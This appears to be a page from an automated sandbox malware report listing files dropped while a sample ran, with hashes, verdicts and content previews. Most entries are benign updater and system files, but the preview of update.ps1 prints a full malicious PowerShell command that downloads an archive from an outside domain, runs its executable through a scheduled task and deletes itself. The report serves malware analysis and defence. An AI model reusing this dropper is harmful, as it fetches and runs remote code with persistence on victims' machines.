SHA1:	0DE304E9456FCC3ABE94FA33808D637F3D3D0B59
SHA-256:	B79A228D9C72F4E31BF4A61B52B2613806EA7D2DF05809E92C89A46E46905730
SHA-512:	B08304460E77DC59D8F4EDD1CABD7244411BF4A823D5EAE1CA9B433E3BA46292E449F1E2BDCD899281EC2D908217FBACBE492866AC33CFAA7D0B8685F6120E41
Malicious:	false
Preview:	sdPC......................j...zN.M5.)W.'

C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\uninstall.cmd

Download File

Process:	C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	4.923215133873056
Encrypted:	false
SSDEEP:	12:2snTJp6rOanOFkgU4hEu8NRaPJRRmvxOgtc/aH+ndUE:7T+rjO+Z4hTb6dIa8P
MD5:	FBC297EE9060D4256192E4EDB98CAD1B
SHA1:	F305C065378AEC46EB4DACAAEEE3F866B1527105
SHA-256:	099592FFA867124D16C0C6D868AF1214FD2B7180FA76E4EEE01ABF2A5CF8F044
SHA-512:	C867D366252E5124C6560FBB42ED4473DC7546360BC1221E9FCBC192E9216D6265E41AD26A733F7566C064B136AE02E21EF5F7095FCB6AE6F65B6FBEB3401FFE
Malicious:	false
Preview:	@echo off....rem Deletes recursively the directory specified by the `--dir` command line..rem argument of the script. The directory must be an updater install path.....echo %1 %2..if not "%1"=="--dir" (.. echo "Invalid switch.".. exit 1..)....set Directory=%2....rem Validate the path is an updater path...@echo %Directory% \| FindStr /L \Google\GoogleUpdater > nul..if %ERRORLEVEL% NEQ 0 (.. echo "Invalid argument.".. exit 2..)....rem Try deleting the directory 15 times and wait one second between tries...for /L %%G IN (1,1,15) do (.. ping -n 2 127.0.0.1 > nul.. rmdir %Directory% /s /q > nul.. if not exist %Directory% exit 0..)....exit 3....

C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\updater.exe

Download File

Process:	C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5591136
Entropy (8bit):	6.770608795075387
Encrypted:	false
SSDEEP:	98304:TgdaGGos7sRiQRe/rWNYGFuDw5ZXcOm0XCK4VjPf8kLtPVV3qHDYxDkvlLr:TgdaTos7s4QA/rmYeus5dvXCKsJdVV3A
MD5:	9DB9D09B6A58E5C09773F754504AC148
SHA1:	7CD31865C0858319128BBD2483C19F59B7208CEA
SHA-256:	C294551059A85542127811249B8E725D3AB885EFDD4996B201DB588899769E85
SHA-512:	80A036CC6D42E72BF6BE634C6134945750DA105AB7E026C2E53E0A02362DB3101ACD9402B0383BCEDC9DFB29B3A87CB0951191FDCF4D29A780D5380C6AD6A05F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...{*2g..........".......>..........w"...........@...........................V......eU...@...........................H.P.....H......@K. ............(U.`(....T.......H.....................@}H.......>.............@.H.......H.@....................text...s.>.......>................. ..`.rdata.. .....>.......>.............@..@.data...,....PI..b...<I.............@....tls....u.....K.......I.............@...CPADinfo(.... K.......I.............@...malloc_h.....0K.......I............. ..`.rsrc... ....@K.......I.............@..@.reloc........T......8S.............@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\GoogleUpdater\cee8effa-9312-4c0d-9a14-4680b64b9708.tmp

Download File

Process:	C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	49
Entropy (8bit):	4.542682803033967
Encrypted:	false
SSDEEP:	3:YEGSAsPMGdnp18ty:YEGMx5pT
MD5:	88BD7C8114993ADB9D7903AFA0A526C9
SHA1:	63A74433D467122D5E9D0028E9D686BC48CA1AFC
SHA-256:	BB3C4B90702246FDF6C3698037DE42BF1949B5028C354647AA65024373F341A4
SHA-512:	5A4FC0F483B2E386FA69FAFF6DC5D60C98024816DC42127DFF2E15ABE162CE112A798F44CC62640D966955C0994FE85D2D775E7E84BE45CF00687770FCFF8D15
Malicious:	false
Preview:	{"active_version":"132.0.6833.0","swapping":true}

C:\Program Files (x86)\Google\GoogleUpdater\prefs.json (copy)

Download File

Process:	C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	49
Entropy (8bit):	4.542682803033967
Encrypted:	false
SSDEEP:	3:YEGSAsPMGdnp18ty:YEGMx5pT
MD5:	88BD7C8114993ADB9D7903AFA0A526C9
SHA1:	63A74433D467122D5E9D0028E9D686BC48CA1AFC
SHA-256:	BB3C4B90702246FDF6C3698037DE42BF1949B5028C354647AA65024373F341A4
SHA-512:	5A4FC0F483B2E386FA69FAFF6DC5D60C98024816DC42127DFF2E15ABE162CE112A798F44CC62640D966955C0994FE85D2D775E7E84BE45CF00687770FCFF8D15
Malicious:	false
Preview:	{"active_version":"132.0.6833.0","swapping":true}

C:\Program Files (x86)\Google\GoogleUpdater\updater.log

Download File

Process:	C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe
File Type:	ASCII text, with very long lines (520)
Category:	modified
Size (bytes):	6297
Entropy (8bit):	5.6359913479032615
Encrypted:	false
SSDEEP:	192:Z8VMV8F/XolwYBusg5TKxTKxTxSRdOyveHsqbuvqPd5qZphHxWCXxSxSTqeD6x:ei8aa7
MD5:	B42DED4308EFDACA480807CB5F2F8DAD
SHA1:	695EE6D9DFE2823E30C84C7602972864533A3AAC
SHA-256:	1BA8B377E9017D007428190E7CCE16756117D8CE59160D96FC93A563756A287F
SHA-512:	DA2653DAF76BE041EB0825A7A1DB2F1536F66253EB7830C81997B6B04BB5AB017EC80EEBED8C1573FBB8F8139C36FED5B02C01181E22893F6F95919A475ADD62
Malicious:	false
Preview:	[4304:2636:1229/081549.536:VERBOSE1:installer.cc(429)] "C:\Users\user\AppData\Local\Temp\ChromeSetup.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={8E7848EA-F143-48B2-373C-33F54B7527D1}&lang=en-GB&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=/components/winhttp/=1,/components/update_client/=2,/chrome/enterprise_companion/=2,/chrome/updater/=2.[6048:1412:1229/081550.507:VERBOSE1:updater.cc(320)] Version: 132.0.6833.0, opt, 32 bits, command line: "C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={8E7848EA-F143-48B2-373C-33F54B7527D1}&lang=en-GB&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=/components/winhttp/=1,/components/update_client/=2,/chrome/enterprise_companion/=2,/chrome/updater/=2.[6048:1412:1229

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307330829466106
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugI:gJjJGtpTq2yv1AuNZRY3diu8iBVqFW
MD5:	83760A6557BF69316A780FF88E103422
SHA1:	741604ED35D0C21993640CFF7D3383048228D5D1
SHA-256:	0BB571469B41DBF2117C3DFDE6A7E13E8C810756F41D329D22FC32AECD60473F
SHA-512:	485F0C203C76A3FC83879A8349815C5E5D8F9BB083582ABE0E113F7B6022E7144CB167EAF671947E38DC994E18CDFF39E8B74327F1F8A378CA2994A9911141E7
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0d69957a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658599242276003
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	0E5476EEEDC4263831FA50FBE1C10D98
SHA1:	3514EB4ED9E1115CE3D06EA1338270A8F7CA3B4F
SHA-256:	EF667ADA582C439D4CCB82ABC1F016F3ABEA1B23074319DBC26A4E26C0C912DA
SHA-512:	164B66DCBDB231D8D692BDBBBE621BE3EAEAA0FDE32F6F3378595E248A9D7AF4D7AF541E3E0F1C8FABF211AB23D533F72651BB91FAE73997BC6D59BA77C51CD0
Malicious:	false
Preview:	.i.z... ...............X\...;...{......................0.z..........{.......\|a.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................J......\|................../.B......\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08046957765220392
Encrypted:	false
SSDEEP:	3:sllllKYeWp3qbltGuAJkhvekl16yo4po/XollrekGltll/SPj:s/llKz23altrxlfMIJe3l
MD5:	5D117E033A9CBA18A0705E47F82C76E3
SHA1:	064DE8499A211F9E6DE0C1106179A6F31C8BE6C5
SHA-256:	4BA51BF7A63368E43023966ACA069A9C314F790766BDF6010C87C2898FF33C76
SHA-512:	AEC0C6FE5DC1F05A5CB216F199A95C3DE947C5491CF5F61C6058CED3DAA601EB402A4ED7939843668F6A7199BA6FB1A487649011C7862BF9A237515068CA5208
Malicious:	false
Preview:	.{hM.....................................;...{.......\|.......{...............{.......{...XL......{................../.B......\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MediaStorage\update.ps1

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with very long lines (587), with no line terminators
Category:	dropped
Size (bytes):	587
Entropy (8bit):	5.13944354273292
Encrypted:	false
SSDEEP:	12:yGEcG2Ke9ldy9cdyypJd+LHWANDA7GN9JN+GNvQtfd+Ls4GNcwBumXhRloLn:fK5e9lg9cgypJsnNDACN9VNvSfsoNtBU
MD5:	1308ADA09CEE48752762FA4A9322146F
SHA1:	14405DF3F31EA8C7E2652147132C5DAE2E2B89DF
SHA-256:	8B44F41E84979D6699DBC91F37AF6030D9A60FFB35A9B6F6EA988E2CD20390E6
SHA-512:	05F16E53E63F0AA5A0A7CF393B586988275F9DD36E7B03106FC701142C8FC5D4FEFEFAFE66A8582102F52B5A090CF6B3C9E298E5DAEEB201009C660B974FB64C
Malicious:	true
Preview:	Invoke-WebRequest -Uri "https://chrome-browser-download.com/world/news" -OutFile "$env:TEMP\Media.zip"; Expand-Archive -Path "$env:TEMP\Media.zip" -DestinationPath "$env:TEMP\MediaContent"; $h = (Get-Date).hour; $m = (Get-Date).AddMinutes(1).minute; $Trigger = New-ScheduledTaskTrigger -Once -At "$h`:$m"; $Action = New-ScheduledTaskAction -Execute "$env:TEMP\MediaContent\media.exe"; $Principal = New-ScheduledTaskPrincipal -UserId $Env:UserName; Register-ScheduledTask -TaskName "MediaUpdate_2" -Trigger $Trigger -Action $Action -Principal $Principal; Remove-Item $PSCommandPath -Force

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AddInProcess32.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4x84qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHxviYHKh3oPtHo6hAHKzea
MD5:	7B709BC412BEC5C3CFD861C041DAD408
SHA1:	532EA6BB3018AE3B51E7A5788F614A6C49252BCF
SHA-256:	733765A1599E02C53826A4AE984426862AA714D8B67F889607153888D40BBD75
SHA-512:	B35CFE36A1A40123FDC8A5E7C804096FF33F070F40CBA5812B98F46857F30BA2CE6F86E1B5D20F9B6D00D6A8194B8FA36C27A0208C7886512877058872277963
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GPU-Z.exe.log

Download File

Process:	C:\Users\user\Desktop\GPU-Z.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MgvjHK5HKH1qHiYHKh3oPtHo6hAHKzea
MD5:	EA88ED5AF7CAEBFBCF0F4B4AE0AB2721
SHA1:	B2A052ACB64FC7173E568E1520AA4D713C5E90A3
SHA-256:	50FD579DC293CFBE1CF6E5C62E0B4F879B72500000B971CE690F39FA716A3B53
SHA-512:	D1B6E5D67808E19A92A2C8BD4C708D13170D1AFD5C3CDFDA873F1C093D80B24D4101325EF20285EEEE8501239F2F1F7FA96C4571390A5B7916DCD3B461B66EC6
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	5.364346229059876
Encrypted:	false
SSDEEP:	24:3bWSKco4KmM6GjKbmOIlas4RPQoUP7mZ9t7J0gt/NK3R8QHrqH+:rWSU4Yym/x4RIoUP7mZ9tK8NWR8QH7
MD5:	B7673AB9B47430F30D5833E460F24491
SHA1:	D5734DC519D60A11DD54ADCBF36BE294AA6F46CA
SHA-256:	290E9493B0ED1BDEFC61DD24E9DCFC74E70B68A40557C6B9A740869F64DE4D8B
SHA-512:	ED7C62372DF30CA63234B77B743D639DDC6D67BB281EB7511236C6736876239A5F0125C24A5262D525B25A9EA129063BE19D4199537B053F32CD39A11F1D0FEB
Malicious:	false
Preview:	@...e...........................................................P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\ChromeSetup.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10384768
Entropy (8bit):	6.780996748460394
Encrypted:	false
SSDEEP:	196608:VpjYZ94Z6AhJ5NtGdDDIauMJZZCgdaTos7s4QA/rmYeus5dvXCKsJdVV3qHDYyYe:VpjwKZF5LGdDDvJZZCgdwbcAheus5xX1
MD5:	6DF42D2EACF5B2916299DDC1AF4A7DDF
SHA1:	D89D77C4536C40FC54E1131BAD056CC380FE48A3
SHA-256:	53F0DF66A39648BC6A23A21869C4B58E5DAA5FF90AEEB8D4C9729B0BCF2ADCE9
SHA-512:	CCB79A66BFE229F937301E0E446731D2A1FA1AFC1D99B1DC2EACC4586AD6C69AE4606079F3FE2C8A55EEAC438F377AE2CED0CDF24CBA92DA1B11B77E097AFE58
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...{*2g.........."......T4...i...................@......................................@.........................<.=.U.....=.@.....@..H^..........,...I...`.......k=.....................Pi=......q4.............@.=.l............................text....S4......T4................. ..`.rdata..`....p4......X4.............@..@.data........ >..R....=.............@....tls....u.....?......N>.............@...CPADinfo(.....?......P>.............@...malloc_h......@......R>............. ..`.rsrc....H^...@..H^..T>.............@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2505om2h.ukb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ce3kt5iz.lag.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jxcqyldg.qof.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5c35xjl.0ed.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_upmnpqxt.zgb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xhyyk4n5.bln.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y3nlpzyq.bth.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_znm4vr4t.ree.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 12:15:58 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.974903741080222
Encrypted:	false
SSDEEP:	48:8BdYTcYYyfHjidAKZdA19ehwiZUklqehvty+3:8svYWGy
MD5:	6568E28920F1012FAE728F756CDC4757
SHA1:	9F46A17E2236399DE5794B329A0762E659A7A9C6
SHA-256:	AEBF12BCA7BEDB192810467D951DEB737E55917B104B89DD19115C8302331509
SHA-512:	4F98E30AA0C4F92BE9311EAAC026FE78E26CBA8BC3B76999A22C46D062156E66D151657EFC3A639BA0C46165A1E6EE59E560CED4F6F38040DC8CC30A58EB7D4A
Malicious:	false
